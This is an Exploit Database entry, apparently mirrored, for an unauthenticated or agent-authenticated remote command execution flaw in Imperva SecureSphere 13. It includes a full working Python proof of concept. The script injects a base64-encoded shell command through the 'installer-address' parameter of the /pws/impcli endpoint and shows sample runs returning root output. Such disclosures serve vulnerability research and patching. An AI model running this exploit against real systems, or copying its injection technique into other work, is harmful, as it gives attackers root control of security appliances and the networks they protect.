Imperva SecureSphere 13 – Remote Command Execution

Exploit Database
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作者： rsp3ar

日期： 2018-10-08
类别：
- webapps
平台：
- linux
来源：https://www.exploit-db.com/exploits/45542/

# Title: Imperva SecureSphere 13 - Remote Command Execution

# Author: rsp3ar

# Date: 2018-10-08

# Vendor: https://www.imperva.com/products/securesphere/

# CVE: N/A

# Version: 13.0.10, 13.1.10, 13.2.10

# Tested on: SecureSphere (Virtual Appliance)

# Description

# PWS is a component in SecureSphere v13, which consists of Python CGIs to expose various cli utilities over https.

# The Python CGIs didn't properly sanitize user supplied command parameters, leading to command injection.

# The vulnerability could be exploited in below ways (depending on configuration status of SecureSphere):

# 1. Unauthenticated Remote Code Execution (Pre-FTL mode)

# When SecureSphere VM is provisioned without running 'ftl' utility to configured into SOM/MX/Gateway mode,

# the vulnerable endpoint could be reached without authentication:

# $ python poc.py -t 192.168.146.201 'sudo id'

# [*] Sending payload to https://192.168.146.201/pws/impcli...

# [*] Received command execution output:

# uid=0(root) gid=0(root) groups=0(root)

# 2. Authenticated Remote Code Execution (Gateway mode)

# When SecureSphere VM is configured as gateway mode via 'ftl' utility, the vulnerable endpoint

# could be reached with valid agent registration credential for user 'imperva':

# $ python poc.py -t 192.168.146.201 -p 'agent_registration_password' 'sudo id'

# [*] Sending payload to https://192.168.146.201/pws/impcli...

# [*] Received command execution output:

# uid=0(root) gid=0(root) groups=0(root)

#!/usr/bin/env python

import argparse, sys, base64, json

import requests

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser()

parser.add_argument("-t", metavar = "target", help = "Target hostname/IP address", type = str, required = True)

parser.add_argument("-p", metavar = "password", help = "Agent registration password for 'imperva' user", type = str, required = False)

parser.add_argument("cmd", help = "Command to be executed on target", type = str)

args = parser.parse_args()

# /pws/inception is another vulnerable endpoint

target_url = "https://%s/pws/impcli" % (args.t)

session = requests.Session()

session.get(target_url, verify = False)

split_mark = "SPLIT_MARK"

payload = "$(printf %s | base64 -d | bash)" % (base64.b64encode(args.cmd))

headers = {}

if args.p is not None:

headers["Authorization"] = "Basic " + base64.b64encode("imperva:" + args.p)

body = {

"command": "impctl server status",

"parameters": {

"broadcast": True,

"installer-address": "127.0.0.1 %s%s%s" % (split_mark, payload, split_mark)

}

print("[*] Sending payload to %s..." % (target_url))

response = session.post(target_url,headers = headers, data = json.dumps(body), verify = False)

if split_mark in response.text:

print("[*] Received command execution output:")

print(response.text.split(split_mark)[1])

elif response.status_code == requests.codes.unauthorized:

print("[!] Gateway Authentication required, please provide agent registration password.")

else:

print("[!] Failed to execute command on target.")